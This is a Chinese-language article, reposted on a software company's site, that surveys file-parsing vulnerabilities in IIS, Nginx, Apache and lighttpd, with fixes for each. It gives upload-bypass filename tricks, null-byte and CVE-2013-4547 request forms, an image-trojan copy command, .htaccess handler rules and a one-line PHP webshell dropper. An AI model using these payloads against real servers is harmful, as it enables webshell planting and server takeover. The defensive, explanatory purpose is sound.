LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

IIS、Apache、Nginx文件解析常见漏洞总结

admin
2024年11月25日 23:55 本文热度 304

文件解析漏洞主要由于网站管理员操作不当或者Web容器自身的漏洞,导致一些特殊构造的其他格式文件被 IIS、apache、nginx 或其他 Web容器在某种情况下解释成脚本文件执行,导致黑客可以利用该漏洞实现非法文件的解析。

本文总结一些常见Web中间件的文件解析漏洞。


一、IIS 6.0

使用6.x版本的服务器,大多为Windows server 2003,网站比较古老,开发语言一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

1、目录解析:/x.asp/x.jpg

x.jpg可替换为任意文本文件(如x.txt),文本内容为后门代码。
IIS 6.0 默认会把.asp,.asa目录下的文件都解析成asp文件。

2、后缀解析:/x.asp;.jpg

IIS 6.0 默认不解析;号后面的内容,因此x.asp;.jpg便被解析成asp文件。

3、默认解析:/x.asa,/x.cer,/x.cdx

IIS 6.0 默认配置中,可执行文件除了.asp还包含这三种.asa  .cer  .cdx,这几个后缀默认由 asp.dll 来解析,所以执行权限和.asp后缀一样,可在配置中自行删除该后缀,以防止安全隐患。
可结合目录解析漏洞利用,如 /x.asa/x.jpg 或 /x.cer/x.jpg 或 /x.asa;.jpg。

4、修复方案

1、目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传x.asp;.jpg类型的文件名。
2、做好权限设置,限制用户创建文件夹。

二、IIS 7.0、IIS 7.5、Nginx <8.03

1、PHP解析漏洞

php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo,/etc/php5/fpm/pool.d/www.conf中不正确的配置security.limit_extensions,导致允许将其他格式文件作为php解析执行。
做个测试
在本地环境中,新建一个文件phpinfo.jpg,内容为:<?php phpinfo() ?>,通过访问http://127.0.0.1/phpinfo.jpg/.php,会正常执行恶意代码。

但在nginx<8.03环境中,新建一个文件test.jpg,直接访问显示图片解析错误。在浏览器中访问/test.jpg/test.php ,则显示Access denied.。
问题来了,test.jpg是文件不是目录,test.php更是根本就不存在的文件,访问/test.jpg/test.php没有报404,而是显示Access denied.。
原因在于,Nginx拿到URI(/test.jpg/test.php) 后,识别后缀是.php,直接转交给php去处理。php判断/test.jpg/test.php不存在,便删去最后的/test.php,继续判断/test.jpg存在,便把/test.jpg当成要执行的文件,又因为后缀为.jpg,php认为这不是php文件,于是返回Access denied.。
这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。开启这一选项后PHP对文件路径采用从右向左的判断逻辑进行处理。以/为分隔逐层判断文件是否存在,直到判断到存在的那个路径。所以导致php会去尝试解析test.jpg。
该选项在配置文件php.ini中。若是关闭该选项,访问 /test.jpg/test.php 只会返回找不到文件。但关闭该选项很可能会导致一些其他错误,所以一般默认是开启的。
漏洞形式:/x.jpg/x.php
另外一种利用方式是上传一个名字为test.jpg,以下是文件的内容:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后访问 test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
图片马利用方法:将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾。例:copy xx.jpg/b + yy.txt/a xy.jpg/b 即二进制[binary]模式/a 即ascii模式 xx.jpg正常图片文件
新版本的php引入了security.limit_extensions ,限制了可执行文件的后缀,默认只允许执行.php文件。
这一漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions 的引入,使得该漏洞难以被成功利用。
IIS在这一点和Nginx是一样的,同样存在这一问题。而如Apache等,会先看该文件是否存在,若存在则再决定该如何处理。cgi.fix_pathinfo是php具有的,若在php前便已正确判断了文件是否存在,cgi.fix_pathinfo便派不上用场了,这一问题自然也就不存在了。

2、IIS相关的解析漏洞

IIS7.5 的漏洞与 nginx 的类似,都是由于 php 配置文件中,开启了 cgi.fix_pathinfo,而这并不是 nginx 或者 iis7.5 本身的漏洞。
跟 nginx 解析漏洞一样,利用的条件是 php.ini => cgi.fix_pathinfo=1 开启的情况才会产生。
可以配合操作系统文件命名规则,上传不符合 windows 文件命名规则的文件名。
如:

  • test.asp.
  • test.asp(空格)
  • test.php:1.jpg
  • test.php:: $DATA

会被 windows 系统自动去掉不符合规则符号后面的内容,然后再配合这个解析漏洞来执行文件。

修复方案

1、修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
2、在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ ..*/.*php ) {  return 403;}
这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。


三、Nginx


1、%00空字节代码解析漏洞

Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码。

环境要求:
php < 5.3.4
Nginx 0.5.*
Nginx 0.6.*
Nginx 0.7 <= 0.7.65
Nginx 0.8 <= 0.8.37

漏洞形式:
filename=test.php%00.txt

1、上传时路径可控,使用00截断
2、文件下载时,00截断绕过白名单检查
3、文件包含时,00截断后面限制(主要是本地包含时)
4、其它与文件操作有关的地方都可能使用00截断。


二、CVE-2013-4547(%20%00)

非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。

影响nginx版本:nginx 0.8.41 ~ 1.5.6

漏洞形式
http://127.0.0.1/file.jpg \0.php
这样会让Nginx认为文件“file.jpg ”的后缀为“.php”。

做个测试
在Nginx/1.0.15的环境中,准备文件“test.jpg ”(注意文件名的最后一个字符是空格),文件内容为:<?php phpinfo(); ?>。
用Burp Suite抓包并修改,原本的URL是:http://*.*.*.*/test.jpg...php,将jpg后的第一个“.”改为20,第二个“.”改为00。
修改完毕后 Forword 该请求,在浏览器中看到返回phpinfo的结果。

四、Apache


1、后缀解析:test.php.x1.x2.x3

Apache的文件解析规则是从右至左判断后缀是否可以解析,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析。

修复方案

后缀验证尽量使用白名单的方式,这样即使使用不存在的后缀名,也无法绕过。


2、配置问题导致漏洞

1、如果在Apache的conf里有这样一行配置 AddHandler php5-script.php
这时只要文件名里包含.php即使文件名是xx.php.jpg也会以php来执行。
2、如果在Apache的conf里有这样一行配置 AddType application/x-httpd-php .jpg
即使扩展名是jpg,一样能以php来执行。

修复方案

1、apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
<Files~“.(php.|php3.)”>Order Allow,DenyDeny from all</Files>
2、用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到 LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:
<IfModulemod_rewrite.c>RewriteEngine OnRewriteRule .(php.|php3.) /index.phpRewriteRule .(pHp.|pHp3.) /index.phpRewriteRule .(phP.|phP3.) /index.phpRewriteRule .(Php.|Php3.) /index.phpRewriteRule .(PHp.|PHp3.) /index.phpRewriteRule .(PhP.|PhP3.) /index.phpRewriteRule .(pHP.|pHP3.) /index.phpRewriteRule .(PHP.|PHP3.) /index.php</IfModule>


3、罕见后缀

还记得mime.types文件吗?在该文件中搜索“php”这三个字母,结果如下所示:
:~$ cat /etc/mime.types | grep php#application/x-httpd-php         phtml pht php#application/x-httpd-php-source          phps#application/x-httpd-php3        php3#application/x-httpd-php3-preprocessed        php3p#application/x-httpd-php4        php4#application/x-httpd-php5        php5
Apache 配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式,被当php程序执行的文件名要符合正则表达式,也就是说php3,php4,php5,pht,phtml也是可以被解析的

4、.htaccess文件

一般来说,配置文件的作用范围都是全局的,但 Apache 提供了一种很方便的、可作用于当前目录及其子目录的配置文件—— .htaccess(分布式配置文件)。
要想使.htaccess文件生效,需要两个条件:
一是在Apache的配置文件httpd.conf中写上:
AllowOverrideAll
若这样写则.htaccess不会生效:
AllowOverrideNone

二是 Apache 要加载mod_Rewrite 模块。加载该模块,需要在Apache的配置文件中写上:
LoadModulerewrite_module/usr/lib/apache2/modules/mod_rewrite.so
若是在Ubuntu中,可能还需要执行命令:
sudoa2enmod rewrite
配置完后需要重启 Apache。

.htaccess 文件可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制。但我们这里只关心.htaccess 文件的一个作用—— MIME 类型修改。

如在 .htaccess 文件中写入:
    AddType application/x-httpd-php .xxx
    该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件。
    另一种写法是:
      <FilesMatch"shell.jpg">SetHandlerapplication/x-httpd-php</FilesMatch>
      该语句会让 Apache 把shell.jpg 文件当作 php 文件来解析。


      五、lighttpd

      类似于最上面的Nginx的解析漏洞;
      漏洞形式:x.jpg/x.php

      六、其他解析漏洞

      在Windows环境下,x.jpg[空格] 或x.jpg. 这两类文件都是不允许存在的,若这样命名,Windows会默认除去空格或点,黑客可以抓包修改文件名,在后面加个空格或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,成为可以解析的恶意文件。


      该文章在 2024/11/26 12:09:47 编辑过
      关键字查询
      相关文章
      正在查询...
      点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
      点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
      点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
      点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
      Copyright 2010-2024 ClickSun All Rights Reserved